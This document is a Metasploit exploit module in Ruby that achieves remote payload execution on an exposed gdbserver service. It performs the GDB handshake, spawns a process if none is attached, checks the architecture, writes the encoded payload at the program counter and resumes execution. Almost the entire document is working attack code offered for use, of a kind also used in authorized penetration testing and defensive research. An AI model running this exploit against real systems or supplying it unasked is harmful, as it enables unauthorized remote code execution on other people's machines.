GDB Server Remote Payload Execution

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::Gdb  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'GDB Server Remote Payload Execution',  
'Description' => %q{  
This module attempts to execute an arbitrary payload on a loose gdbserver service.  
},  
'Author' => [ 'joev' ],  
'Targets' => [  
[ 'x86 (32-bit)', { 'Arch' => ARCH_X86 } ],  
[ 'x86_64 (64-bit)', { 'Arch' => ARCH_X86_64 } ]  
],  
'References' =>  
[  
['URL', 'https://github.com/rapid7/metasploit-framework/pull/3691']  
],  
'DisclosureDate' => 'Aug 24 2014',  
'Platform' => %w(linux unix osx),  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'PrependFork' => true  
}  
))  
  
register_options([  
OptString.new('EXE_FILE', [  
false,  
"The exe to spawn when gdbserver is not attached to a process.",  
'/bin/true'  
])  
], self.class)  
end  
  
def exploit  
connect  
  
print_status "Performing handshake with gdbserver..."  
handshake  
  
enable_extended_mode  
  
begin  
print_status "Stepping program to find PC..."  
gdb_data = process_info  
rescue BadAckError, BadResponseError  
# gdbserver is running with the --multi flag and is not currently  
# attached to any process. let's attach to /bin/true or something.  
print_status "No process loaded, attempting to load /bin/true..."  
run(datastore['EXE_FILE'])  
gdb_data = process_info  
end  
  
gdb_pc, gdb_arch = gdb_data.values_at(:pc, :arch)  
  
unless payload.arch.include? gdb_arch  
fail_with(  
Msf::Exploit::Failure::BadConfig,  
"The payload architecture is incorrect: "+  
"the payload is #{payload.arch.first}, but #{gdb_arch} was detected from gdb."  
)  
end  
  
print_status "Writing payload at #{gdb_pc}..."  
write(payload.encoded, gdb_pc)  
  
print_status "Executing the payload..."  
continue  
  
handler  
disconnect  
end  
  
end  
`